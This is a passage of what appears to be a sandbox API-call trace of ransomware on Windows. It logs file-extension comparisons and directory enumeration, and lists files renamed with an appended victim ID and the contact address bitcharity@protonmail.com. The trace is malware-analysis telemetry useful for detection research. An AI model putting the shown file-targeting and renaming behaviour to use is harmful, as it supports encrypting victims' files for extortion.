lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pgm") returned 4 [0242.714] lstrcmpiW (lpString1=".pgm", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".php") returned 4 [0242.714] lstrcmpiW (lpString1=".php", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".php3") returned 5 [0242.714] lstrcmpiW (lpString1=".php3", lpString2="].com") returned -1 [0242.714] lstrlenW (lpString=".php4") returned 5 [0242.714] lstrcmpiW (lpString1=".php4", lpString2="].com") returned -1 [0242.714] lstrlenW (lpString=".php5") returned 5 [0242.714] lstrcmpiW (lpString1=".php5", lpString2="].com") returned -1 [0242.714] lstrlenW (lpString=".phtml") returned 6 [0242.714] lstrcmpiW (lpString1=".phtml", lpString2="m].com") returned -1 [0242.714] lstrlenW (lpString=".pict") returned 5 [0242.714] lstrcmpiW (lpString1=".pict", lpString2="].com") returned -1 [0242.714] lstrlenW (lpString=".pl") returned 3 [0242.714] lstrcmpiW (lpString1=".pl", lpString2="com") returned -1 [0242.714] lstrlenW (lpString=".pls") returned 4 [0242.714] lstrcmpiW (lpString1=".pls", lpString2=".com") returned 1 [0242.714] lstrlenW (lpString=".pm") returned 3 [0242.714] lstrcmpiW (lpString1=".pm", lpString2="com") returned -1 [0242.715] lstrlenW (lpString=".png") returned 4 [0242.715] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".pnm") returned 4 [0242.715] lstrcmpiW (lpString1=".pnm", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".pot") returned 4 [0242.715] lstrcmpiW (lpString1=".pot", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".potm") returned 5 [0242.715] lstrcmpiW (lpString1=".potm", lpString2="].com") returned -1 [0242.715] lstrlenW (lpString=".potx") returned 5 [0242.715] lstrcmpiW (lpString1=".potx", lpString2="].com") returned -1 [0242.715] lstrlenW (lpString=".ppa") returned 4 [0242.715] lstrcmpiW (lpString1=".ppa", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".ppam") returned 5 [0242.715] lstrcmpiW (lpString1=".ppam", lpString2="].com") returned -1 [0242.715] lstrlenW (lpString=".ppm") returned 4 [0242.715] lstrcmpiW (lpString1=".ppm", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".pps") returned 4 [0242.715] lstrcmpiW (lpString1=".pps", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".ppsm") returned 5 [0242.715] lstrcmpiW (lpString1=".ppsm", lpString2="].com") returned -1 [0242.715] lstrlenW (lpString=".ppt") returned 4 [0242.715] lstrcmpiW (lpString1=".ppt", lpString2=".com") returned 1 [0242.715] lstrlenW (lpString=".pptm") returned 5 [0242.715] lstrcmpiW (lpString1=".pptm", lpString2="].com") returned -1 [0242.715] lstrlenW (lpString=".pptx") returned 5 [0242.715] lstrcmpiW (lpString1=".pptx", lpString2="].com") returned -1 [0242.715] lstrlenW (lpString=".prn") returned 4 [0242.715] lstrcmpiW (lpString1=".prn", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".ps") returned 3 [0242.716] lstrcmpiW (lpString1=".ps", lpString2="com") returned -1 [0242.716] lstrlenW (lpString=".psb") returned 4 [0242.716] lstrcmpiW (lpString1=".psb", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".psd") returned 4 [0242.716] lstrcmpiW (lpString1=".psd", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".pst") returned 4 [0242.716] lstrcmpiW (lpString1=".pst", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".ptx") returned 4 [0242.716] lstrcmpiW (lpString1=".ptx", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".pub") returned 4 [0242.716] lstrcmpiW (lpString1=".pub", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".pwm") returned 4 [0242.716] lstrcmpiW (lpString1=".pwm", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".pxr") returned 4 [0242.716] lstrcmpiW (lpString1=".pxr", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".py") returned 3 [0242.716] lstrcmpiW (lpString1=".py", lpString2="com") returned -1 [0242.716] lstrlenW (lpString=".qt") returned 3 [0242.716] lstrcmpiW (lpString1=".qt", lpString2="com") returned -1 [0242.716] lstrlenW (lpString=".r3d") returned 4 [0242.716] lstrcmpiW (lpString1=".r3d", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".raf") returned 4 [0242.716] lstrcmpiW (lpString1=".raf", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".rar") returned 4 [0242.716] lstrcmpiW (lpString1=".rar", lpString2=".com") returned 1 [0242.716] lstrlenW (lpString=".raw") returned 4 [0242.716] lstrcmpiW (lpString1=".raw", lpString2=".com") returned 1 [0242.716] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35da3e06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35da3e06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35f3871b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPE~1.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ec5da0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35ec5da0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3619ad6b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPE~2.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f5ea77, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35f5ea77, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3606ab1f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPU~2.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354d6b20, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPU~1.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x360b6085, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x360b6085, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x361e71da, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPU~3.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x354fc4ca, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x354fc4ca, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3565395a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SPLASH~1.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3620e18b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3620e18b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3636490a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SQMAPI~1.COM")) returned 1 [0242.717] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x355227e1, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x355227e1, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3565395a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="STRING~1.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35548898, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35548898, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3569fdbe, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3565395a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3565395a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35784dea, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WATERM~1.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x373cb80c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~1.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~2.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x373f1a4d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~3.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x39126703, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~4.COM")) returned 1 [0242.718] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x39126703, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~4.COM")) returned 0 [0242.719] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0242.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0242.719] FindNextFileW (in: hFindFile=0x649e18, lpFindFileData=0x2a1fcf8 | out: lpFindFileData=0x2a1fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0242.719] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6ebdf0 [0242.931] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0242.931] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0242.931] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0242.931] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0242.931] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0242.931] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0242.931] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.931] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.931] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.932] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.932] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.932] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0242.932] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3573870b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3573870b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3573870b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="BOOTST~1.COM")) returned 1 [0242.932] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0242.932] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0242.932] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.932] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.932] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.933] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.933] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.933] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 